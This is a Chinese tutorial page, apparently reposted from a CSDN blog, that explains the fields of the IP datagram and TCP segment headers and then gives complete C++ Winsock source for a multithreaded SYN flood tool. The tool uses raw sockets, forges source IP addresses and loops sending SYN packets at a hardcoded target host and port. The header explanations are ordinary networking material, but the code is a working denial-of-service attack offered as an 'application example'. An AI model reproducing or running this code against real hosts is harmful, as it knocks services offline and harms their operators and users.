首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 其他教程 > 互联网 >

IP数据报跟TCP报文格式分析与应用

2012-12-19 
IP数据报和TCP报文格式分析与应用一.IP数据报首部式[image] 1.版本——占 4 bit,指IP协议的版本.目前的 IP

IP数据报和TCP报文格式分析与应用

一.IP数据报首部格式
[image]


IP数据报跟TCP报文格式分析与应用

 

1.版本——占 4 bit,指IP协议的版本.目前的 IP 协议版本号为 4 (即 IPv4)
2.首部长度——占 4 bit,可表示的最大数值是 15 个单位(一个单位为 4 字节)因此 IP 的首部长度的最大值是60字节。
3.总长度——占 16 bit,指首部和数据之和的长度,单位为字节,因此数据报的最大长度为 65535 字节。总长度必须不超过最大传送单元 MTU。
4.标识(identification)    占 16 bit,它是一个计数器,用来产生数据报的标识。当数据报需要分片时,此标识表示同一个数据报的分片。
5.标志(flag):3 bit,D0:MF,D1:DF,D2保留, DF位用来表示数据报是否允许分片,DF=1不分片;MF位表示是否有后续分片,MF=0表示是最后一片。
6.片偏移(13 bit)指出:较长的分组在分片后某分片在原分组中的相对位置。片偏移以 8 个字节为偏移单位。
7.生存时间(8 bit)记为 TTL (Time To Live)表示数据报在网络中的寿命,其单位为秒。在目前的实际应用中,常以“跳”为单位。
8.协议(8 bit)字段指出此数据报携带的数据使用何种协议(如TCP/UDP等)以便目的主机的 IP 层将数据部分上交给哪个处理过程
9.首部检验和(16 bit)字段只检验数据报的首部不包括数据部分。这里不采用 CRC 检验码而采用简单的“反码算术求和”计算方法。
10.源地址和目的地址都各占 4 字节,32bit 的IP地址
11.可选字段的长度是 可变的,1~40 字节,用于增加IP数据报的控制功能。
12.填充字段保证IP首部长度是 4 字节的整倍数

郑海波 blog.csdn.net/nuptboyzhb/
二.TCP数据报首部格式
[image]


IP数据报跟TCP报文格式分析与应用

 

1.源端口和目的端口字段——各占 2 字节。端口是传输层与应用层的服务接口。传输层的复用和分用功能都要通过端口才能实现。 
2.序号字段——占 4 字节。TCP 连接中传送的数据流中的每一个字节都编上一个序号。序号字段的值则指的是本报文段所发送的数据的第一个字节的序号。
3.确认号字段——占 4 字节,是期望收到对方的下一个报文段的数据的第一个字节的序号。
4.数据偏移——占 4  bit,它指出 TCP 报文段的数据起始处距离 TCP 报文段的起始处有多远。“数据偏移”的单位不是字节而是 32 bit 字(4 字节为计算单位)。 
5.保留字段——占 6 bit,保留为今后使用,但目前应置为 0。
6.紧急比特 URG —— 当 URG=1 时,表明紧急指针字段有效。它告诉系统此报文段中有紧急数据,应尽快传送(相当于高优先级的数据)。
7.确认比特 ACK —— 只有当 ACK=1 时确认号字段才有效。当 ACK=0 时,确认号无效。
8.推送比特 PSH(Push)接收方 TCP 收到推送比特置1的报文段,就尽快地交付给接收应用进程,而不再等到整个缓存都填满了后再向上交付.
9.复位比特 RST (Reset) —— 当 RST=1 时,表明 TCP 连接中出现严重差错(如由于主机崩溃或其他原因),必须释放连接,然后再重新建立运输连接。
10.同步比特 SYN —— 同步比特 SYN 置为 1,就表示这是一个连接请求或连接接受报文。
11.终止比特 FIN (FINal) —— 用来释放一个连接。当FIN=1 时,表明此报文段的发送端的数据已发送完毕,并要求释放运输连接。
12.窗口字段 —— 占 2 字节。窗口字段用来控制对方发送的数据量,单位为字节。TCP 连接的一端根据设置的缓存空间大小确定自己的接收窗口大小,然后通知对方以确定对方的发送窗口的上限。
13.检验和 —— 占 2 字节。检验和字段检验的范围包括首部和数据这两部分。在计算检验和时,要在 TCP 报文段的前面加上 12 字节的伪首部。
14.紧急指针字段 —— 占 16 bit。紧急指针指出在本报文段中的紧急数据的最后一个字节的序号。 
15.选项字段 —— 长度可变。TCP 首部可以有多达40字节的可选信息,用于把附加信息传递给终点,或用来对齐其它选项。

TCP/IP用于DoS攻击应用举例
[c++ code]

#include <winsock2.h>#include <Ws2tcpip.h> #include <stdio.h>#pragma comment(lib,"ws2_32.lib")#define SEQ 0x28376839int threadnum,maxthread,port;char *DestIP;//目标IPvoid display(void)  // 定义状态提示函数 { static int play=0;// 进度条 char *plays[12]= { " | ", " / ", " - ", " \\ "," | ", " / ", " - ", " \\ ", " | ", " / ", " - ", " \\ ", }; printf("=%s= %d threads \r", plays[play],threadnum);play=(play==11)?0:play+1;} //定义一个tcphdr结构来存放TCP首部typedef struct tcphdr{USHORT th_sport;//16位源端口号USHORT th_dport;//16位目的端口号unsigned int th_seq;//32位序列号unsigned int th_ack;//32位确认号unsigned char th_lenres;//4位首部长度+6位保留字中的4位unsigned char th_flag;////6位标志位USHORT th_win;//16位窗口大小USHORT th_sum;//16位效验和USHORT th_urp;//16位紧急数据偏移量}TCP_HEADER; //定义一个iphdr来存放IP首部typedef struct iphdr//ip首部{unsigned char h_verlen;//4位手部长度,和4位IP版本号unsigned char tos;//8位类型服务unsigned short total_len;//16位总长度unsigned short ident;//16位标志unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)unsigned char ttl;//8位生存时间unsigned char proto;//8位协议unsigned short checksum;//ip手部效验和unsigned int sourceIP;//伪造IP地址unsigned int destIP;//攻击的ip地址}IP_HEADER;//TCP伪首部,用于进行TCP效验和的计算,保证TCP效验的有效性struct{unsigned long saddr;//源地址unsigned long daddr;//目的地址char mbz;//置空char ptcl;//协议类型unsigned short tcpl;//TCP长度}PSD_HEADER; //计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)//然后计算整个IP首部的二进制反码的和。USHORT checksum(USHORT *buffer, int size){unsigned long cksum=0;while(size >1) {cksum+=*buffer++;size-=sizeof(USHORT);}if(size) cksum+=*(UCHAR*)buffer;cksum=(cksum >> 16)+(cksum&0xffff);cksum+=(cksum >>16);return (USHORT)(~cksum); }DWORD WINAPI SynfloodThread(LPVOID lp)//synflood线程函数{SOCKET  sock =NULL;int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;struct sockaddr_in sockAddr;TCP_HEADER  tcpheader;IP_HEADER   ipheader;char        sendBuf[128];sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);if(sock==INVALID_SOCKET){printf("Socket failed: %d\n",WSAGetLastError());return 0;}//设置IP_HDRINCL以便自己填充IP首部ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));if(ErrorCode==SOCKET_ERROR){printf("Set sockopt failed: %d\n",WSAGetLastError());return 0;}//设置发送超时ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));if(ErrorCode==SOCKET_ERROR){printf("Set sockopt time out failed: %d\n",WSAGetLastError());return 0;}    //设置目标地址memset(&sockAddr,0,sizeof(sockAddr));sockAddr.sin_family=AF_INET;sockAddr.sin_addr.s_addr =inet_addr(DestIP);FakeIpNet=inet_addr(DestIP);FakeIpHost=ntohl(FakeIpNet);    //填充IP首部ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));ipheader.ident = 1;ipheader.frag_and_flags = 0;ipheader.ttl = 128;ipheader.proto = IPPROTO_TCP;ipheader.checksum =0;ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);ipheader.destIP = inet_addr(DestIP);    //填充TCP首部tcpheader.th_dport=htons(port);tcpheader.th_sport = htons(8080);tcpheader.th_seq = htonl(SEQ+SendSEQ);tcpheader.th_ack = 0;tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);tcpheader.th_flag = 2;//SYN=1;tcpheader.th_win = htons(16384);tcpheader.th_urp = 0;tcpheader.th_sum = 0;PSD_HEADER.saddr=ipheader.sourceIP;PSD_HEADER.daddr=ipheader.destIP;PSD_HEADER.mbz=0; PSD_HEADER.ptcl=IPPROTO_TCP;PSD_HEADER.tcpl=htons(sizeof(tcpheader));for(;;){SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;ipheader.checksum =0;ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);tcpheader.th_seq = htonl(SEQ+SendSEQ);tcpheader.th_sport = htons(SendSEQ);tcpheader.th_sum = 0;PSD_HEADER.saddr=ipheader.sourceIP;//把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));memcpy(sendBuf,&ipheader,sizeof(ipheader));memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);dataSize=sizeof(ipheader)+sizeof(tcpheader);ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);memcpy(sendBuf,&ipheader,sizeof(ipheader));sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));display();   }//end for    Sleep(20);    InterlockedExchangeAdd((long *)&threadnum,-1);return 0;}int main(int argc,char* argv[]){int ErrorCode=0;DestIP="192.168.1.3";//取得目标主机IPport=atoi("80");//取得目标端口号 17329端口maxthread=(maxthread>100)?100:atoi("50");//设置50个线程//如果线程数大于100则把线程数设置为100WSADATA wsaData;if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){printf("WSAStartup failed: %d\n",ErrorCode); return 0;}printf("[start]...........\nPress any key to stop!\n");while(threadnum<maxthread)//循环创建线程{if(CreateThread(NULL,0,SynfloodThread,0,0,0)){Sleep(100);threadnum++;}}char fin;while (true){scanf("%c",fin);if (fin=='a'){break;}}WSACleanup();printf("\n[Stopd]...........\n");return 0;}


 

其他应用举例:局域网IP地址查看器http://download.csdn.net/detail/nuptboyzhb/4850027

热点排行